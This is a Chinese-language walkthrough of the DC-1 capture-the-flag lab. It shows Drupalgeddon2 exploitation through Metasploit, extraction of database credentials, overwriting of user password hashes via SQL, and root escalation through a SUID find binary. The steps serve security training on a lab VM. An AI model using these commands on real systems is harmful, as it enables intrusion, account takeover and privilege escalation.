靶场练习 手把手教你通关DC系列 DC1

DC1靶场通关教程


文章目录

  • DC1靶场通关教程
  • 前言
  • 一、信息收集
    • 1.主机存活
    • 2.端口收集
    • 3.网页信息收集
    • 4.目录收集
      • 4.1 Nikto
      • 4.2 Dirb
    • 信息收集总结
  • 二、漏洞发现与利用
    • 1. 发现
    • 2. 利用
  • 三、Flag
    • Flag1
    • Flag2
    • Flag3
    • Flag4
    • Flag5(提权)


前言

在这里插入图片描述

本次使用的kali机的IP地址为192.168.243.131
DC1的地址为192.168.243.134


一、信息收集

1.主机存活

在这里插入图片描述

arp-scan -l 此命令是探测主机存活 sudo命令是令kali用户短暂拥有root用户权限,需要输入kali的密码
其中192.168.243.128是kali的IP地址,192.168.243.134是靶场的IP地址

2.端口收集

在这里插入图片描述

nmap -T4 -v 192.168.243.134该命令探测靶场开发的端口信息,可以看到其中开发端口有22、80、111

3.网页信息收集

在这里插入图片描述

火狐浏览器有Wappalyzer插件可以看框架、中间件、语言等功能

4.目录收集

这里使用两种查询方式

4.1 Nikto

在这里插入图片描述

nikto -h http://192.168.243.134

4.2 Dirb

在这里插入图片描述

dirb http://192.168.243.134

目录收集没有收集到可用信息,可以跳过这一步

信息收集总结

靶场IP地址为: 192.168.243.134
开放端口: 22/ssh 80/http 111/rpcbind
框架: cms Drupal 7
中间件: Apache 2.2.22
语言: php 5.4.45
操作系统: Debian

二、漏洞发现与利用

思路 通过信息收集到的内容去搜索网络已知漏洞

1. 发现

kali加载msf攻击载荷

在这里插入图片描述

search drupal搜索Drupal可以利用的漏洞

在这里插入图片描述

2. 利用

这里使用exploit/unix/webapp/drupal_drupalgeddon2

在这里插入图片描述

show options 查看需要配置的文件

在这里插入图片描述

Requiredyes为必须配置项,RHOSTS 为靶场的IP地址
set rhosts 192.168.243.134 添加目标地址

在这里插入图片描述

使用run运行,然后shell

在这里插入图片描述

python -c "import pty;pty.spawn('/bin/bash')" 为交互语句,方便使用

在这里插入图片描述

三、Flag

Flag1

查看当前文件夹的所有内容 ls -la

在这里插入图片描述

可以看到有一个flag1.txt文件
cat flag1.txt打开flag1.txt文件

在这里插入图片描述

Every good CMS needs a config file - and so do you. //每个好的CMS都需要一个配置文件——您也一样。

Flag2

flag1提示我们去找配置文件
find / -name settings.php

在这里插入图片描述

查看这个文件
cat /var/www/sites/default/settings.php

在这里插入图片描述

/**** flag2* Brute force and dictionary attacks aren't the //暴力破解和字典攻击不是* only ways to gain access (and you WILL need access). //只有获得访问权限的方法(你将需要访问权限)。* What can you do with these credentials? //你能用这些证书做什么?**/$databases = array ('default' => array ('default' => array ('database' => 'drupaldb','username' => 'dbuser','password' => 'R0ck3t','host' => 'localhost','port' => '','driver' => 'mysql','prefix' => '',),),
);

Flag3

flag2给出了数据库的账户和密码,我们可以直接登录查看
mysql -udbuser -pR0ck3t

在这里插入图片描述

查询数据库
show databases;

在这里插入图片描述

直接使用第二个表
use drupalbd;

在这里插入图片描述

查询库中的表
show tables;

在这里插入图片描述

在这里插入图片描述

我们查看users表中的内容

在这里插入图片描述

可以看到表中的内容是adminFred账户密码
admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
这个加密方式为hash(哈希),解密难度过大,我们可以通过password-hash.sh文件生成一个新密码
使用find命令查找文件

在这里插入图片描述

使用cat命令查看源码
cat /var/www/scripts/password-hash.sh

<?php/*** Drupal hash script - to generate a hash from a plaintext password** Check for your PHP interpreter - on Windows you'll probably have to* replace line 1 with*   #!c:/program files/php/php.exe** @param password1 [password2 [password3 ...]]*  Plain-text passwords in quotes (or with spaces backslash escaped).*/if (version_compare(PHP_VERSION, "5.2.0", "<")) {$version  = PHP_VERSION;echo <<<EOFERROR: This script requires at least PHP version 5.2.0. You invoked it withPHP version {$version}.
\n
EOF;exit;
}$script = basename(array_shift($_SERVER['argv']));if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {echo <<<EOFGenerate Drupal password hashes from the shell.Usage:        {$script} [OPTIONS] "<plan-text password>"
Example:      {$script} "mynewpassword"All arguments are long options.--help      Print this page.--root <path>Set the working directory for the script to the specified path.To execute this script this has to be the root directory of yourDrupal installation, e.g. /home/www/foo/drupal (assuming Drupalrunning on Unix). Use surrounding quotation marks on Windows."<password1>" ["<password2>" ["<password3>" ...]]One or more plan-text passwords enclosed by double quotes. Theoutput hash may be manually entered into the {users}.pass field tochange a password via SQL to a known value.To run this script without the --root argument invoke it from the root directory
of your Drupal installation as./scripts/{$script}
\n
EOF;exit;
}$passwords = array();// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {switch ($param) {case '--root':// Change the working directory.$path = array_shift($_SERVER['argv']);if (is_dir($path)) {chdir($path);}break;default:// Add a password to the list to be processed.$passwords[] = $param;break;}
}define('DRUPAL_ROOT', getcwd());include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';foreach ($passwords as $password) {print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

php /var/www/scripts/password-hash.sh 123456
因为这是php文件,所以我们需要使用php

在这里插入图片描述

password: 123456 hash: $S$DPuVBKNPp4WAlPVEAVTPohYHAfrGfwS9Z05iG3InaYIKsrrO95AG
登录数据库,将生成的哈希值写入到数据库的users表中,替换adminFred的密码
update users set pass="$S$DPuVBKNPp4WAlPVEAVTPohYHAfrGfwS9Z05iG3InaYIKsrrO95AG" where name="admin" or name="Fred";

在这里插入图片描述在这里插入图片描述

使用刚刚更改的数据进行登录

在这里插入图片描述
在这里插入图片描述

找到fflag3文件

在这里插入图片描述

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.//特殊的PERMS将帮助查找passwd -但是您需要-执行该命令才能知道如何获得阴影中的内容。

Flag4

根据flag3的提示让我们去看/etc/passwd文件

在这里插入图片描述

可以看到一个flag4,我们去到flag4目录

在这里插入图片描述

查看flag4.txt

在这里插入图片描述

Can you use this same method to find or access the flag in root?//您可以使用相同的方法来查找或访问根中的标志吗?
Probably. But perhaps it's not that easy.  Or maybe it is?//可能。但也许没那么容易。也许是这样

Flag5(提权)

根据flag4的提示,我们尝试去root目录

在这里插入图片描述

发现被拒绝访问了,查找一下当前用户可执行的文件
find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

发现有find,直接用find提权
find / -exec "/bin/bash" -p \;

在这里插入图片描述

现在去root目录

在这里插入图片描述

查看thefinalflag.txt文件
cat thefinalflag.txt

在这里插入图片描述

Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journeyby contacting me via Twitter - @DCAU7
//做得好! !
//希望你喜欢这篇文章,并学到了一些新技能。
//你可以通过推特@DCAU7联系我,让我知道你对这次小旅行的看法

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/43660.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习 - 比较检验

列联表 列联表&#xff08;Contingency Table&#xff09;是一种用于显示两个或多个分类变量之间关系的表格。它广泛应用于统计学中的分类数据分析&#xff0c;尤其在独立性检验和关联性分析时。列联表的每个单元格展示了相应分类变量组合的频数&#xff08;或比例&#xff09…

【2024_CUMCM】LINGO入门+动态规划

目录 什么是动态规划 怎么使用动态规划&#xff1f; 例题&#xff1a;最短路线问题 2020b-问题一 稳定性分析 灵敏度分析 什么是动态规划 基本想法&#xff1a;将原问题转换为一系列相互联系的子问题&#xff0c;然后通过逐层递推求得最后的解 基本思想&#xff1a;解决…

X12端口配置指南:ISA ID、测试指示符与997

通过知行之桥EDI系统实现X12 & 标准XML之间的格式转换时&#xff0c;需要完善交换头ISA ID及其限定符、测试标识符以及997的相关配置。 在X12文件中有两组EDI ID对&#xff0c;分别是发送方 ID 限定符 及发送方ID &#xff0c;接收方 ID 限定符及接收方ID。 比如&#xf…

STM32Cubemx配置生成 Keil AC6支持代码

文章目录 一、前言二、AC 6配置2.1 ARM ComPiler 选择AC62.2 AC6 UTF-8的编译命令会报错 三、STM32Cubemx 配置3.1 找到stm32cubemx的模板位置3.2 替换文件内核文件3.3 修改 cmsis_os.c文件3.4 修改本地 四、编译对比 一、前言 使用keil ARM compiler V5的时候&#xff0c;编译…

RK3568 buildroot 使用dropbear实现ssh远程的方法

RK3568 buildroot 使用dropbear实现ssh远程的方法 文章目录 RK3568 buildroot 使用dropbear实现ssh远程的方法前言一、创建S99dropbear.sh脚本二、创建sshd_config三、添加root账户密码到系统验证登录前言 rk3568 linux 的sdk中,buildroot已经集成了dropbear的所需的lib库环境…

交替打印-GO

1 两个channel 版本 package mainimport ("fmt""sync")var wg sync.WaitGroup var c1 chan int var c2 chan intfunc A(){defer wg.Done()for i:0;i<10;i {<-c1fmt.Println(2*i)c2<-1 //牵引协程} } func B(){defer wg.Done()for i:0…

Java内存区域与内存溢出异常(自动内存管理)

序言&#xff1a;Java与C之间有一堵由内存动态分配和垃圾收集技术所围成的高墙&#xff0c;墙外面的人想进去&#xff0c;墙里面的人却想出来。 1.1概述 对于从事C、C程序开发的开发人员来说&#xff0c;在内存管理领域&#xff0c;他们既是拥有最高权力的“皇帝”&#xff0c…

使用OpenCV在按下Enter键时截图并保存到指定文件夹

使用OpenCV在按下Enter键时截图并保存到指定文件夹 在这篇博客中&#xff0c;我们将介绍如何使用OpenCV库来实现一个简单的功能&#xff1a;在按下Enter键时从摄像头截图并保存到指定的文件夹中。这个功能可以用于各种应用&#xff0c;例如监控系统、视频捕捉等。 前置条件 …

在FPGA程序中Handshake(握手)和Register(寄存器)区别

在FPGA程序中&#xff0c;Handshake&#xff08;握手&#xff09;和Register&#xff08;寄存器&#xff09;是两种不同的通信和数据传输机制。它们各有特点和适用场景。以下是它们的区别和应用场景的详细解释&#xff1a; Register&#xff08;寄存器&#xff09; 特点&#…

SQLServer用户们,你们摊上大事了!

最近一段时间&#xff0c;我们经常会收到了许多用户的咨询&#xff0c;问我们何时能纳管SQLServer&#xff1f;耐不住小伙伴们的猛烈催促及热切期待&#xff0c;本不想纳管SQLServer的研发团队也抓紧将这项需求提上日程。并在DBdoctor v3.2.2版本中成功实现了对SQLServer的纳管…

班级录取查询系统如何制作

在教育的长河中&#xff0c;我们每位老师都曾面临过这样一个问题&#xff1a;如何高效、准确地完成班级录取查询的任务&#xff1f;记得在以往&#xff0c;每当新学期伊始&#xff0c;我们不得不手忙脚乱地整理学生名单&#xff0c;然后逐一通知他们所在的班级。这个过程不仅耗…

谷歌Google Ads新账号推广方案

第一阶段重点 推广地区优化&#xff1a;分析投放国家的数据&#xff0c;剔除高花费低转化的国家&#xff0c;将预算重新分配给高性价比的国家&#xff0c;从而降低询盘成本并增加询盘数量。关键词优化&#xff1a;识别并暂停或降价高成本低回报的关键词&#xff0c;减少询盘成本…

《mysql篇》--索引事务

索引 索引的介绍 索引是帮助MySQL高效获取数据的数据结构&#xff0c;是一种特殊的文件&#xff0c;包含着对数据表里所有记录的引用指针&#xff0c;因为索引本身也比较大&#xff0c;所以索引一般是存储在磁盘上的&#xff0c;索引的种类有很多&#xff0c;不过如果没有特殊…

[ios-h5]在ios系统浏览器中输入框得到焦点时页面自动放大

问题&#xff1a; 在ios系统浏览器中输入框得到焦点时页面自动放大。 解决&#xff1a; 添加meta标签。 <meta name"apple-mobile-web-app-capable" content"yes" /> <meta name"viewport" content"widthdevice-width, initial-…

隐式类型转换 算术转换

目录 整型提升 间接证明整型提升的代码案例 算术转换 整型提升 何为整型提升&#xff1a; C语言的整型算术运算总是至少以缺省&#xff08;默认&#xff09;整型类型的精度来进行的 为了获得这个精度&#xff0c;表达式中的字符类型和短整型操作数在使用之前被转换为普通整…

基于SpringBoot实现轻量级的动态定时任务调度

在使用SpringBoot框架进行开发时&#xff0c;一般都是通过Scheduled注解进行定时任务的开发&#xff1a; Component public class TestTask {Scheduled(cron"0/5 * * * * ? ") //每5秒执行一次public void execute(){SimpleDateFormat df new SimpleDateFormat(…

解决 NullReferenceException: Object reference not set to an instance of an object

在 Unity 中 利用 URDF Importer import UR5e_gripper 的 URDF file 时出现错误&#xff1a; NullReferenceException: Object reference not set to an instance of an object。 理论上是有个Object 是 Null&#xff0c;当我再次检查URDF后仍觉得路径没有写错。 于是我 把Mesh…

软件测试面试200问(含答案+文档)

Part1 1、你的测试职业发展是什么&#xff1f; 测试经验越多&#xff0c;测试能力越高。所以我的职业发展是需要时间积累的&#xff0c;一步步向着高级测试工程师奔去。而且我也有初步的职业规划&#xff0c;前3年积累测试经验&#xff0c;按如何做好测试工程师的要点去要求自…

spring的bean注册

bean注册 第三方jar包的类想添加到ioc中&#xff0c;加不了Component该怎么办呢。 可以使用Bean和Import引入jar包&#xff0c;可以使用maven安装到本地仓库。 修改bean的名字&#xff1a;Bean("aaa")使用ioc的已经存在的bean对象&#xff0c;如Country&#xff1a;p…

in-flight 要维持在 bdp 附近吗

试图在 bbr 和 aimd 之间保持公平是徒劳的&#xff0c;因为它们没有共识。bbr 认为 in-flight 超过 bdp 是拥塞&#xff0c;而 aimd 认为 buffer 溢出才拥塞&#xff0c;兼顾彼此&#xff0c;就是 bbr3&#xff0c;aimd 不会往左&#xff0c;bbr 就往右。 vegas 同理&#xff…